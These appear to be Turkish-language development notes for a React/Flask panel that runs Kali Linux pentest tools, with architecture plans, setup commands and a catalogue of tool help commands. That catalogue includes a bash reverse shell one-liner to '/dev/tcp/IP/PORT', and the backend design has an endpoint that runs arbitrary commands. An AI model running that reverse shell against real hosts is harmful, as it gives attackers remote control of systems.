Kali linux - Güvenlik Taraması Yönetim Paneli

BurakAk

Vizyon ve Amaç
• Kali Linux araçlarını GUI ile daha erişilebilir hale getirmek
• Nesne tabanlı yapı ile kodun sürdürülebilirliğini sağlamak
• Tek bir panel üzerinden projeleri yönetmek ve taramaları gerçekleştirmek

Mimari Yapı Fikri

Frontend (arayüz)
Framework: React (modern, esnek, UI zenginliği için ideal)
Bileşenler: Sol menü (araçlar), üst bar (proje işlemleri), içerik alanı (ayrıntılar ve çıktı)

Backend

Python (Flask veya FastAPI) – terminal komutlarını çalıştırmak için
Nmap, dirb, ffuf, wpscan, netdiscover gibi araçları subprocess ile çalıştırabiliriz
Proje ve çıktı yönetimi için SQLite veya JSON dosya temelli veri yapısı
MSFConsole için ayrı terminal handler (gerekirse pty ile)

Opsiyonel

Proje dosya sistemi: Her tarama için ayrı klasör + json log
Login sistemi: Güvenlik amacıyla kullanıcı tanımı
Docker içinde izole başlatma (isteğe bağlı)

Özellik Listesi

✅ Proje başlat / aç
✅ Netdiscover ile ağ taraması
✅ Hedef seçimi veya elle IP/URL girişi
✅ Araç seçimi (nmap, dirb, vs.)
✅ Araca ait --help opsiyonlarını GUI’ye çekme
✅ Parametre girişi (checkbox, text input)
✅ “Sepete ekle” mantığıyla komut yapılandırma
✅ “Taramayı Başlat” butonu
✅ Çıktı ekranında komut + sonuç gösterimi

BurakAk

🚀 1. TARAMA MODÜLÜ (Scanner Engine)

Tüm güvenlik araçlarını tetikleyen kısım
Netdiscover → Ağ haritası
Nmap → Port ve servis taraması
Dirb/Ffuf → Web dizin keşfi
WPScan → WordPress zafiyetleri
MSFConsole → Exploit hazırlığı ve otomatizasyon

→ Kullanıcı parametreleri belirler, araçlar subprocess ile arka planda çalıştırılır.
→ Komutlar zaman damgalı klasörlere loglanır.

📊 2. ANALİZ VE SONUÇ GÖRÜNTÜLEME MODÜLÜ

Sadece komut çıktısı değil, bunu işleyip anlamlandıran yapı
Her araç için özel parser (örneğin Nmap XML → JSON çevirici)
Açık portlar, dizinler, CVE eşleşmeleri tablo ve grafikle sunulur
“Gelişmiş Analiz” bölümü:
Servis tanımı → muhtemel zafiyetler
Web servisleri için burp-style response önizleme
WPScan çıktısında kullanıcılar, temalar, açıklıklar filtrelenir
→ Kullanıcı isterse çıktıyı PDF/HTML formatında dışa aktarabilir.

🗃️ 3. PROJE VE RAPOR YÖNETİMİ MODÜLÜ
Projeleri kaydet, tekrar yükle, çıktılarına geri dön
Proje oluştur → project-name-20250415 gibi isimle kayıt
Her projeye ait:

Hedef listesi
Araç/komut geçmişi
Çıktı dosyaları (raw ve analiz edilmiş)
Arama ve filtreleme sistemi:
IP’ye göre ara
Açık port sayısına göre filtrele
Zafiyet türüne göre raporları listele
“Rapor Oluştur” tuşu → Otomatik olarak özet + tüm bulgularla birleştirilmiş PDF veya Word dokümanı

Ekstra Bonus Özellikler (İleride Eklenebilir)

CVE ve Exploit-DB API entegrasyonu → Açık portlar ile ilgili potansiyel exploit’ler listelenir
Hedeflerdeki sistemin banner bilgisine göre zafiyet eşlemesi
Kullanıcı rollerine göre yetki yönetimi (admin, pentester, observer)
Görev zamanlayıcı: Haftalık otomatik tarama
Telegram veya Discord’a otomatik bildirim
├── public/
│   └── index.html
├── src/
│   ├── assets/
│   ├── components/
│   │   ├── Sidebar.jsx
│   │   ├── ScannerTool.jsx
│   │   ├── ProjectPanel.jsx
│   │   └── ResultViewer.jsx
│   ├── pages/
│   │   ├── Home.jsx
│   │   ├── NewProject.jsx
│   │   ├── OpenProject.jsx
│   │   ├── ScanDashboard.jsx
│   ├── App.jsx
│   ├── main.jsx
│   └── styles/
│       └── app.css
├── package.json
└── vite.config.js

BurakAk

Proje Oluşturma Adımları

✅ 1. Adım: React Projesini Vite ile Oluştur

Aşağıdaki komutları sırayla terminalde çalıştır:
npm create vite@latest security-panel -- --template react

✅ 2. Klasöre Gir ve Gerekli Kurulumları Yap

cd security-panel
npm install

✅ 3. Projeyi Başlat

npm run dev

📁 Proje klasörü şu hale gelmeli:

├── index.html
├── package.json
├── vite.config.js
└── src/
    ├── App.jsx
    ├── main.jsx
    └── assets/

BurakAk

✅ 2. Frontend'e Axios Kur ve Entegre Et

Terminalde kur:
npm install axios
ScanDashboard.jsx içine ekle:
import axios from 'axios'
Taramayı Başlat butonuna event ekle:

  const command = buildCommand()
  try {
    const res = await axios.post('http://localhost:5000/run', { command })
    alert("Komut çalıştı! Çıktı konsola yazıldı.")
    console.log(res.data.output)
  } catch (err) {
    alert("Komut çalıştırılırken hata oluştu.")
    console.error(err.response?.data || err.message)
  }
}

BurakAk

Projeyi başlatma adımları

1. Terminal

source venv/bin/activate  # sanal ortam kullanıyorsan
python3 app.py

2. Terminal

npm run dev

BurakAk

# 🔍 Keşif (Reconnaissance)
nmap --help
netdiscover --help
theharvester --help
recon-ng --help
shodan --help
censys --help

# 🔓 Zafiyet Tespiti (Vulnerability Scanning)
nikto -H
wpscan --help
nessus --help
openvas --help
nmap --script-help

# 💥 Saldırı ve Exploitation
msfconsole -h
sqlmap --help
searchsploit -h
msfvenom -h
armitage --help

# 🧠 Parola Saldırıları (Password Attacks)
hydra -h
john --help
hashcat --help
ssh2john --help
fcrackzip --help
cewl --help

# 📁 Web Uygulama Testleri
burpsuite (GUI arayüzlüdür, terminalde doğrudan çalışmaz)
dirb --help
ffuf --help
zap.sh -h
nikto -H
xsstrike --help

# 📡 Ağ Sızma Testi (Network Pentesting)
ettercap -h
wireshark (GUI arayüzlüdür, terminalde `wireshark --help` çalışır)
tcpdump --help
responder -h
bettercap -h

# 🐚 Kalıcılık ve Geri Bağlantı
nc -h
bash -i >& /dev/tcp/IP/PORT 0>&1
crontab -h
powershell -Command "Get-Help"
empire --help
nishang (modül tabanlıdır, scriptler çalıştırılır)

BurakAk

İndirmek için
Aşağıdaki kodu terminalde çalıştırın.
git clone https://github.com/acikburak/ShadowRecon.git
Çalıştırmak için önce çalıştırma yetkisi vrin sonra start.sh çalıştırın.

cd ShadowRecon
chmod +x start.sh
./start.sh

ilk proje githuba yüklendi. dosya isimlendirmeden hata veriyor orayı düzeltirsin

BurakAk

ollama pull mistral
ollama run mistral

ollama rm kali-fix
ollama create kali-fix -f kali-fix.Modelfile

BurakAk

cd backend
source venv/bin/activate
pip install ollama

BurakAk

git clone https://github.com/acikburak/Kali-Linux-Securty-Panel/tree/master
#Kurulacaklar.
sudo apt get update
#
npm run dev
#
cd security-panel/backend
python3 -m venv venv
source myenv/bin/active
pip3 install Flask
pip3 install Flask-cors
#
npm install axios
npm install react
npm install react-router-dom
npm install d3
#
npm install vite --save-dev
#

# Güncellemeleri yapın
sudo apt update && sudo apt upgrade -y

# Python ve pip kurun
sudo apt install python3 python3-pip git -y

# CUDA (NVIDIA GPU varsa)
sudo apt install nvidia-cuda-toolkit -y  # CUDA 12 için resmi NVIDIA sitesinden de yükleyebilirsiniz
nvidia-smi  # GPU durumunu kontrol edin

# Ollama'yı kurun
curl -fsSL https://ollama.com/install.sh | sh

# Model indirin (örnek: Mistral 7B)
ollama pull llama3:8b-instruct-q4_0

# Test edin (CLI'de çalıştırın)
ollama run llama3:8b-instruct-q4_0 "Merhaba! Kitaplarımı işlemeye hazır mısın?"

cd security-panel/backend
source venv/bin/activate
pip install ollama

BurakAk

git clone https://github.com/oobabooga/text-generation-webui.git

cd security-panel/ai-tools/text-generation-webui
python3 -m venv venv
source venv/bin/activate
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cpu
pip install -r requirements.txt